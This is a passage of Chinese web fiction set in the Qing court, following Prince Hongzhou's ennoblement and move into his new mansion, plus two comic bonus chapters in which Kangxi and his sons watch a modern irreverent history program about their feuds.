这两道旨意一下,雍正如今的两个皇子便算是有了爵位。不过一来就是亲王还是叫许多人意想不到的,但皇上要给他儿子封爵,这两个人身上都还有些多多少少的功劳,自然就没有人会那么不懂事地跳出来表示这件事不妥。 至此,这两个二十出头的年轻人就此达到了清朝爵位的巅峰。 与此同时,宫里还出了一桩喜事,让弘昼有点欲言又止。 那就是汗阿玛的后宫之中,有位刘常在怀孕了。 在弘昼二十二岁的时候,竟然要迎来一个弟弟或者妹妹。 这位刘常在被确诊有喜后,便被下旨升了一级成了贵人。想来只要生下孩子,不论是男女至少都能得一个嫔位。 雍正是很高兴的,这个年纪还能有个孩子是对他老当益壮的肯定。所以赏赐便经常朝着刘贵人处倾泻,甚至不大入后宫的雍正也经常去看这位刘贵人。 后宫中也将这位刘贵人当成了易碎的珍宝来护着,特别是熹贵妃对这一胎尤其看重。如今她和弘历的地位极为稳固,别说一两个弟弟妹妹了,就是来十个都暂时动摇不了他们的地位。 但是若这个孩子没了,罪责栽赃到了他们的头上,那可就完全不一样了。不论如何,皇上的心中肯定是会有疑影的。这样赔本的买卖她是不会干的,也同时要防备其他人的坏心。 但弘昼现在暂时没心思关注这个不知道是弟弟还是妹妹的孩子了,他现在正一门心思地整修他的府邸。 雍正给他赐了一座亲王府,离紫禁城不远,三四里的路程。但这府邸听闻是顺治年间就不曾住人了,所以在他住进去之前要好好地翻新整修一番。 工部和内务府已经领到了雍正发下去的图纸,但还是要前来问问这位日后要住进去的和亲王有没有什么别的要注意的地方。这次给弘昼修房子的钱由皇上的内库出,所以弘昼也不必给汗阿玛省钱。 将图纸拿回来后,弘昼和澄碧一起研究着这摆在面前的图纸。 “这里,”澄碧指了指王府后花园的府,说道,“我想在这要一个大些的凉亭,夏日里乘凉最好了。” “行,”弘昼在白纸上记下了,“还有吗?我倒是觉得后院那么多*院子有点多了,要不咱们改了……” 夫妻俩讨论了三日才将最终方案定下来,弘昼亲手拿到内务府总管手上的。 经过弘昼去办差的那次,大家也都发现了这位和亲王虽然平日里和和气气的,但实际上也并不是什么好惹的人。特别是他现在圣眷正浓,还是不好招惹,若是被他拉进去牢里走一遭,那最后最多也就是得个赔罪,然后皇上再装模作样罚和亲王一点俸禄。 这样算起来实在不值,便在办差的时候格外精心,生怕被这位拿到了错处。 弘昼偶尔过去看看进度的时候就能发觉监管这里的官员似乎很是害怕自己的模样,他摸了摸自己细皮嫩肉的脸有点奇怪。 奇也怪哉,爷长得也不是青面獠牙吧,放出去也会被叫上一声白面书生。怎么这些人像看到了什么夜叉似的,对上自己的眼神似乎都要晕过去了。 好在府邸整修所需的时日并不算长,不足半年,弘昼那和亲王府的牌匾就悬挂于府上。此时原本预备打的家具也都做出来了,开始陆陆续续地搬进王府。 弘昼王府中的长史之类的属官也选好了,这些属官是要帮着处理府事的。 府邸都修好了,他自然思忖着早些搬家。但雍正还是要他先去找钦天监好好算一个搬家的好日子,搬家这样的大事要在适宜的日子办才是好的。 弘昼虽然不信这些,但汗阿玛发话了他也就只能照做了。 算好了差不多半月后是好日子,弘昼回去就同澄碧说了。夫妻俩就开始预备了起来,弘昼在这里住了十来年了,东西实在不少。好在内务府调拨了人过来帮忙,还有额娘钮祜禄额娘以及四嫂那里也派了不少人过来。 在弘昼搬出去之前,刘贵人呱呱坠地了一个小阿哥,让雍正欣喜若狂。便将刘贵人晋位了嫔,赐了封号谦。 给这个小阿哥取名弘曕。 这位六弟的洗三弘昼和澄碧也去看了的,只见小孩子看着肉嘟嘟的怪可爱的。雍正脸上的笑意灿烂,谦嫔的很是志得意满。 虽然是亲兄弟,但弘昼和这位六弟是不大好亲近的。无他,年龄相差太多了,按照这个时代的成婚年龄来说,若他早些成婚,只怕孩子都比六弟大了。 而且谦嫔对他们这两个兄长看着小心翼翼的,弘昼和弘历去逗弄小孩子的时候就看见谦嫔虽不敢阻拦,但是着急极了。让弘昼也有些觉得没趣,反正平日里也见不到这位六弟,亲近不亲近的便也罢了。 吉日到了,弘昼去汗阿玛那里美滋滋地领了自己的开府银子,总共加起来莫约二十几万两。 有了这笔银子,弘昼的财富一下子就跃升到了顶端。虽然不敢和巨富相比,但是这些银子也够他们一家滋润甚至奢侈地活上几十年了。更别提他每年还有亲王的俸禄,可不止领的那些银子,夏日的冰冬日的炭火,四季的新鲜花果蔬菜还有些别的东西内务府都是要给他发的。 这样一算,其实花银子的地方其实也不太多。 带着银子和澄碧一起搬到了新家,这银子被入了账房。王府中的账房弘昼和澄碧都能随意支用,只要最后记账说明用途就可以了。 东西和仆役是最先进府的,弘昼和澄碧在搬家的时候要去拜别汗阿玛和两位额娘,所以等他们来到王府门口的时候已经是下午了。 看着牌匾上硕大的和亲王府,弘昼笑了笑,牵着澄碧的手走了进去。 第130章 【番外】非正经节目 【大家好,欢迎来到《不正经之对于康雍乾三朝那些不得不说的兄弟们小课堂》,这一期我们将深入了解一下康熙朝著名“兄友弟恭”的几对组合,即四四八八的兰因絮果兄弟组合,四十三的“宇宙之全人”“天神”十三弟之兄控和弟控的双向奔赴,还有老八老九之一起在改名的路上狂奔兄弟组。】 【观前提示,一切纯主观不客观,夹杂正史野史小道消息,大家图一乐就是,切勿认真。】 面前的那一块白色散发着荧光的东西上面写着的字,让康熙短暂陷入了迷茫中。这是哪,朕为什么在这里? 上一秒还是在畅春园的病榻之上,怎么现在就来了这个鬼地方?兰因絮果是能用在兄弟之间的吗?还有老八老九改名是怎么回事,他亲自赐的名谁敢改,还是说因为老四登位了要避尊者讳,可避尊者讳的话为什么但将老八老九拎出来说? 脑子里被这些问号充斥着,康熙丝毫没有察觉到自己的身侧多出了几个人影。 “这什么鬼地方?该死的老四终于把爷放出来了!”老九感受着身上病痛消失的感觉,身体这久违的健康的感觉让他很是着迷,惊喜地查看着自己的身体状况,可手臂在触碰到自己身体的时候穿了过去。 “爷变成鬼了?!” 老九的声音几乎要将康熙的耳膜震碎了,正当康熙准备竖起眉呵斥一下这个没有规矩的九儿子的时候,就听到了老九的下一句话。 “既然都变成鬼了,爷要去找老四报仇!” “呵,”一声冷笑响起,熟悉的声音在康熙和老九的耳边出现,“活着的时候都斗不过,以为死了就能有这个本事了?” “老四!”老九的眼睛红了起来,直接冲了上前,但穿过了老四的身体。 “成何体统!”康熙终于回过神来呵斥道。 “汗阿玛?” “汗阿玛?” “汗阿玛!” 这一次发出的声音有点多,康熙循声望去,从老大胤礽老三老四到十四,除了早逝的老六和十一,其余的都在这里了。 “汗阿玛!”老九一个扑通跪在了康熙面前,“您要为儿子做主啊,老四继位后根本容不下儿子们,将儿子还有八哥十弟十四弟害得好惨啊。” “你胡说!”十三对着老九怒目而视,“若非你们在四哥上位后一直背后使绊子搞小动作,四哥又岂会容不下你们。” 但这两个人的争吵并没有引起太多人的注目,因为那块诡异的泛着荧光的白色屏幕上面开始出现了其余的画面。 【首先肯定是要提到咱们著名的兰因絮果组合了,相比于后期你死我活的斗争,在这两位年纪还小的时候同在皇贵妃佟佳氏的宫殿中抚养过,所以关系还是很不错。具体的咱们可以看这两位刚开府时的位置相邻,能当邻居的关系自然不会太差。】 [惊了,竟然不是一开始就敌对的吗?我还以为这两位出生就互相看不顺眼呢。] [怎么可能出生就看不顺眼……虽说后期是政敌,但在前期以八贤王的性格多半会和每一个兄弟都打好关系吧。况且同被皇贵妃养着,离得近了关系自然就好了。] [难评,竟然当真是好兄弟。不是,好兄弟后期出手这么狠。] [那时候都是政敌了,老四上位后老八搞过事的。皇位之争本来就是这样的,难道后期留手让对方给自己一下狠的?] 老四的脸色黑了下来,他很不习惯将这样的事情暴露在大众面前。早年的确和胤禩的关系不错,但那都是多少年前了,怎么自己当了皇帝过世了还要将这些事情翻出来。 相比于老四,老八的表情就淡定多了,唇角依旧挂着一抹微笑。看着光屏的时候偶尔会有点触动,不过不大明显就是了。 “哼!”老九哼了一声,但瞥见了康熙后还是将原本挖苦的话咽回了肚子里。 【而后期他们又是怎么从愿意比邻而居的好兄弟变成那样视对方如仇敌呢?这就要进入第二阶段了,那就是康熙帝对太子的两废两立。】 这话让原本神色漠然的胤礽眼中有了点波动,下意识看了眼汗阿玛。但在看见汗阿玛也在看他的时候,马上又移开了目光。 【熟悉这段历史的大家应该都知道,在孝诚仁皇后难产去世后,只留下了这一个孩子。康熙帝亲手抚养,并在满周岁的时候就立为了太子,这可是清代首次推行嫡长子继承制。论坛上有不少人调侃胤礽是麻宝,康熙其余的儿子应该就是麻草。这样的话虽然是调侃,但也侧面证明了康熙帝对于这个儿子的宠爱。】 【六岁延庆名师,让张英、李光地等为其开蒙。让其乳父凌普掌管内务府甚至挪动银两都不曾严惩,多次赐予胤礽太子规格之上的东西。可以说,这位皇太子在前面二十几年的人生里都是顺风顺水的,被康熙帝事无巨细地照顾着。】 [这个听说过,在我看到康熙要儿子穿过的旧衣服的时候,一度以为自己是在看野史的。] [他们之间的矛盾主要在于康熙活太久了,还有控制欲太强了。小时候这样照顾也就算了,但偏偏二三十了还是这样。] [之前看紫禁城的平面图的时候,我就很疑惑一个问题。胤礽的福晋妾室们离他其实是挺远的,但他离康熙的距离大约溜达几分钟就到了。都成婚了,到底为什么要把后院安置在那么远的地方。] 看到这些话,胤礽的表情没有了波动。这些从前或许是存在的,但他自从在咸安宫被幽禁了那么多年后,已经将这些事忘得差不多了。现在被重新翻出来,竟一时之间有些恍惚。 【这样受宠的太子为什么会被废呢?有好几个方面的原因,首先是因为太子从小被这样捧着,为人嚣张刚愎,曾经鞭挞宗室,勒索官员,根据小道消息,太子曾经将咱们的雍正帝从台阶上直接踢下来。】 [据小道消息哈哈哈哈哈哈] [这个小道消息肯定不是《大义觉迷录》吧。] 老四的脸又有点黑了,这样丢脸的事情他是不想要太多人知道的。 【而太子的这种性格再加上康熙帝的逐渐老去,就不可避免地起了冲突。在这样的情况之下,原本对于皇位是没有希望的其余“麻草”就站了起来。这场九龙夺嫡中康熙帝大多成年皇子都参与了。】 【现在拉回主题,在一废太子之前,老四和十三都算是太子的支持者,而老八当时跟着他大哥混,私以为可能是老八在惠妃宫中养过的缘故。在政治上站了对立面后,关系自然就不如初了。】 【但此时面上还是和平的,在一废太子的时候,十三被牵连失宠,老四却并未被牵连。而我们的老八,这位八贤王在这一事件中被他的好哥哥老大坑了。老大魇镇太子,还在康熙帝面前进言若他不愿动手杀太子,老大可代之。此时的康熙帝因为太子的事情本就惊疑不定,听见这话直接气得将老大圈禁了,而老大在圈禁之前说了一句话,让我们可怜的八贤王也被牵连了。】 [这个我知道,说要推举老八当太子。] [其实我思考过这个问题,他这到底是故意的还是故意的。感觉在这个时候推举老八简直是把老八架在火上烤啊。] [前面的别担心,我觉得就是人蠢。不蠢也不可能跑到爹的面前要他杀子啊,能杀老二为什么不能杀老大?] 老大胤禔的脸青了红,红了青。看上面那一行行飘过的字都在嘲讽他,只觉得一股火气上涌。 胤礽也看了看这位大哥,圈禁这么多年的生涯让他的性子很淡漠了。现在看着当年怒火中烧的事情,竟然只觉得好笑。大哥还是这么蠢,从小就不聪明还偏偏被挑拨着和他争。 康熙的表情也不好看,这样的事情说出来真的很丢人。特别是看这样子似乎史书上也记载了,后人讨论起来就更丢人了。 老四轻轻牵了牵自己的唇角,笑不出来。 【聪明的大家都知道那句话是什么了,就是举荐当时的八贝勒为太子。当时众多大臣上折子推举八阿哥,直接触犯了咱们康熙帝的逆鳞,当即就厌弃了这位自小就喜爱的第八子。也就是这时候,咱们的四爷发现了,跟着太子似乎不靠谱啊,于是也开始培植自己的党羽了,四爷党和八爷党也是夺嫡后期主要的两个党派。】 【老八当时虽然被厌弃,但他还没有完全断绝了上位的路,而十四爷在殿上给他挡刀的举动更是让他大为感动。所以在康熙后期,毙鹰事件后八爷党开始主推十四爷。】 【这两个党派的主要领袖就是老八和老四,这样的政敌原本可能还有些兄弟情。但是你今天给我使个绊子,我明儿给你来个“惊喜”的交锋之下,多浓厚的兄弟情都没了。】 [懂了,世子之争素来如此。] [所以后期就是德妃的两个孩子斗?那德妃还真是最大赢家了,不论谁上位都会成为太后。] [但德妃是不是更喜欢十四上位,她好像更偏心这个小儿子。] [……没有吧,感觉德妃最喜欢的应该是康熙,有点恋爱脑的样子。不然后期怎么会在康熙去世后一年就走了,她要真在乎十四应该活久一点看着老四啊。] [主要德妃也没想到十四真的在乾隆朝才被放出来吧,不过偏心这一点应该没有太重吧。感觉对十四是重视一点,但没有到现在影视剧妖魔化的程度。] 看着上面的一行行字都在说自己不受额娘喜爱,老四青筋暴起,拳头都捏了起来。 “呵,”老九冷笑一声,“原来这有的人不讨喜连后世之人都知道了。” 十四懒洋洋地看着面前的那一行行字,无聊地打了个哈欠。额娘喜欢他那不是理所应当的事情吗,他又不像老四那样整天板着一张脸讨人嫌。 【随即进入四八的第三个阶段,老八党派夺嫡失败,老四上位后最开始是想要笼络一下这位八弟的。这一开始就是封了廉亲王的和硕亲王爵位,授理藩院尚书。有人认为,现在滑跪的话日后虽然在雍正朝过得一般,但多半也不会到最后的境地。】 【而最后老八选择了最后一搏,有时候真的不得不感叹一下这位八贤王的魅力。他竟然能将老四实际上的长子弘时倒向他那一边,这也让雍正最后加速了对八爷党的清算。也就是这时候,四八之间变成了彻底的不死不休的结局。】 [有时候也是挺想不明白弘时的,不是,你都是皇子了,你爹的皇帝!你到底为什么要倒向你那个八叔啊。] [最后被革去黄带子了,啧啧啧。] [一时想不出是老八被革去黄带子,赐名阿其那惨,还是弘时在当时雍正只有四个儿子的情况下被过继老八惨。] [没必要比了,都挺惨的。但我还是不明白弘时,我完全理解不了这个孩子的脑回路啊。他只要安安分分的,乾隆最后能不能上位都是个未知数呢。这雍正都没几个儿子,也就弘历弘昼还有弘曕,弘曕是雍正最后两年生的对皇位没有威胁。弘昼出了名的不靠谱,这位也不可能。也就是说弘时老老实实的,他的竞争对手就只有弘历。] [想要竞争过弘历也不简单吧,这位可不是什么善茬来着,传闻中的政治机器。你把功劳存进来,我把赏赐吐出去。] 康熙从里面捕捉到了一个关键词:“阿其那是什么意思?” 场内安静了,除了康熙外,几乎所有人都知道这个词。即便是被圈禁的老大和老二都听说过,毕竟这件事太惨烈了。 “回禀汗阿玛,”老九冷笑道,“这是四哥命令儿子和八哥改名,八哥给自己取的阿其那,三哥也给儿子取了,叫赛斯黑。” 康熙不断地深呼吸,他没想到他儿子们的争斗上了史书也就罢了。竟然是这样难听的话,想起刚刚那一行行字只觉得气血翻涌,一时不知道该教训谁才好。 【好了,今日的《不正经之对于康雍乾三朝那些不得不说的兄弟们小课堂》到这里了,敬请期待下期咱们对于四十三的“宇宙之全人”“天神”十三弟之兄控和弟控的双向奔赴的解说。还有,请大家关注我们以后准备做的专题——《解析和亲王弘昼之为什么喜欢活出丧》。】【你现在阅读的是魔蝎小说 moxiexs】 【全文完结】 第131章 非正经节目2 【大家好,上一期我们讲到了兰因絮果的四八组合,这一期咱们就来深扒一下四十三的“宇宙之全人”“天神”十三弟之兄控和弟控的双向奔赴。】 [终于更新了,知道我这一周等得有多苦吗?] [最想看的一集,只要盘点古代皇家棠棣之情,那四十三绝对是绕不开的一环。] [试问哪个皇帝不想有个十三这样的兄弟呢,啧啧,你要推行新政我全然支持,要改革我打头阵。你案牍劳形,我便为你分忧解难。] 康熙的表情逐渐怪异,他在的时候老四和十三的关系虽然不错,但从不承想过竟然会好成这光幕上说的一样。如果那些飘过去的字都是真的,岂非已经成了兄友弟恭的典范? 他从前是想过自己的孩子们若是能兄友弟垂名青史那当是多么好的一件事,可惜寄予厚望的保成并未做到。反倒是最开始的时候并未怎么放在眼里的老四和十三做到了,这让他一时之间心绪有些复杂。 老四也十三对视了一眼,皆从对方的眼中看到了笑意。他们兄弟之间的情谊无须刻意言说,但看到后世这样赞美还是有些惊讶的。 十四看了看正在对视的老四和十三,轻轻地冷笑了一声。 老八依旧表现得神游天外,他不关心老四和十三之间到底是怎么样感天动地的兄弟情。 【首先就是四十三的患难与共了,大家都知道在康熙后期的时候,十三是失宠于这位皇父的,甚至停过供给和俸禄。在皇家,像关系一般的兄弟多半是不敢沾惹的。而老四虽然没有在明面上同这位十三弟过多来往,但私底下的安慰还有支援是不少的。】 【来到了雍正初登位的时候,一上位就将十三册封为了和硕怡亲王。】 [上期还说给老八上位后就封了和硕廉亲王呢。] [这俩不一样吧,老八的亲王也就做三四年就成庶人了。十三的怡亲王可是成了铁帽子亲王的。] [啧啧啧,老十三死后给他所有儿子都封爵就能看出来了。人手最少一个贝勒,要知道康熙有好几个儿子死了都只是贝勒的爵位,甚至还有一个最高坐到了贝子,最后的革爵的。] [楼上这个贝子肯定不是内涵我们九阿哥吧。] [楼上这个贝子说的肯定不是我们九阿哥吧。] …… 看到这些字,老九气得脑袋疼,狠狠地瞪着老四。这怪老四,才叫他现在都被这些后世之人嘲笑。 死后都不肯给他一点哀荣,真不愧是小心眼的老四。 【这个怡亲王和廉亲王当然是不一样的,怡亲王为四位总理事务大臣之首,总理户部,总理京畿水利营田事务,主管会考府,为议政大臣、军机大臣,管理造办处、养心殿造办处事务以及统领汉军侍卫。这样说大家可能只觉得眼花缭乱,但是我说一个称呼,大家就能明白这些的分量了,常务副皇帝。】 [常务副皇帝啧啧啧,这个称呼在一个有手掌大权的皇帝时出现,怎么感觉怪怪的。] [现在只要一提到兄弟情,不是两苏就是四十三了。] [倒也没有这么夸张,不过的确是很兄弟情深就是了。] 老九怪异地看着老四,这些上面的事情有些他是知道的。但有些他是不知道的,老四这样刻薄寡恩的人,竟然真的能这样信任一个人,还是同他不同母的兄弟? 不论是信任一个外人,还是信任一个同母的兄弟老九都不会惊讶。毕竟外人对皇位没有继承权,是不可能有威胁的。而同母的兄弟天然就是最亲近的人,自然也是可以信任的。老九之所以这样想,盖是因为他就很信任同母的兄弟老五。 老八看了眼老四,他从前以为这两个人迟早有一日是会闹翻的。毕竟给了十三这么多的权柄,难保日后不会出现乱子。但是看着这上面所说,应当是没有这些了。 想到这老八有些失望地叹了口气。 一直安生地活到寿终正寝的老五和老七不约而同地打了个哈欠,这上面的事情是他们亲眼见证过的。所以也并不惊讶,现在再看一遍也只是有些感慨。 被圈禁的老大和老二则没什么感觉,他们被圈禁是能知道一点外面的情况的。一直都知道十三很受信重,但不知道这么受信重。 老三则狠狠地瞪了老四和十三一眼,冷哼了一声。 【接下来咱们就来到了雍正对怡亲王的绝对信任,在用人方面,只要是怡亲王推荐的人雍正一般都是照单全收的。除此外,雍正的其余兄弟都是需要避讳的,将名字中的因字改为了允字,唯有怡亲王,在最开始的时候雍正就特批他不用改。怡亲王不允,还是将名字改了,最后雍正在他过世后又将名字改了回来。】 [胤祥,允祥。] [话说为什么雍正的兄弟要改名,乾隆和康熙的就不用。] [这两兄弟感情确实没得说。] [十三十四,明明只相差一个排序,但是在老四的心里真是天差地别。] 老十四有点无语,感慨十三和老四的感情就罢了,怎么还偏偏要扯上自己。 【将时间线拉到雍正八年,这一年怡亲王过世了,这时候雍正的好几个操作都又一次展现了两兄弟的兄弟情。】 十三看向了四哥,他刚刚从这一行行飘过去的字已经看到了不少。多少知道了在自己死后四哥将自己的王爵升为了铁帽子王,还给自己的孩子们都一一赐了爵位。这样的恩义,可惜现在也已经报答不了了。 老四似乎察觉到了十三的视线,转过头对着他笑了一下。 在老四的眼中,十三读出了他的意思。 你我兄弟之间,何须在意这些。 【怡亲王过世之后,雍正亲临其丧,辍朝三日。首先,我们要明白一点,那就是在此之前,清朝王爷的丧礼一般是不会有皇帝亲临的。即便是康熙很是信任的兄弟裕亲王福全也是没有这个待遇的。而且用了超高规格的葬礼以及谥号,贤这个字是古代多少人终其一生的追求。】 [还将十三弟的画像放在养心殿中,日日观看呢。] [还写了不少哀悼十三弟的诗文呢。] [还说出“吾弟之子,吾所视如己出者也”这样的话呢。] [没毛病,确实是视如己出了。给弘晈他们封爵的时候,连他的两个儿子都没封爵呢。] 看着光幕上的一行行字飘过,十三极为感动。纵然已经知道了四哥待自己的好,但确实没想到自己过世后竟然能有这样的荣耀。 十二悄悄打了个哈欠,这些事情他都是亲眼见证的,现在看到这些光幕上的话只觉得从后人的角度又看了一遍这件事。他想起这场丧事心中只剩下的就是后怕,那时候的皇上简直和疯了一样,好在他在这个丧事上并未犯错。 【怡亲王死后,雍正给他所有的儿子都封了爵。除却世子继承了铁帽子怡亲王外,还给弘晈了一个世袭罔替的宁郡王的爵位,其余的儿子都批发了一个贝勒的爵位。对了,有趣的是,在怡亲王葬礼三阿哥诚亲王因为面无哀容被雍正再一次削了。】 [我其实觉得老三和十三犯冲来着,之前因为十三的额娘过世了结果还要剃头而被康熙削了郡王的爵位。现在因为十三过世没有哀荣而被削了亲王的爵位,感觉这两兄弟上辈子有点犯冲。] [可能对于雍正来说,十三是亲兄弟,其余安安分分的勉强也算兄弟。不太安分但没有掀出风浪的算表的,而老八老九这样的算仇人。] 老三看着这一行行的字面色冷峻,他这辈子都和十三犯冲。本来就是,他吃了十三不知道多少亏,还要在十三葬礼上哭出来,未免有些太为难人了。 【好了,今日就到这里了,敬请期待下期的专题——《解析和亲王弘昼之为什么喜欢活出丧》】【你现在阅读的是魔蝎小说 moxiexs】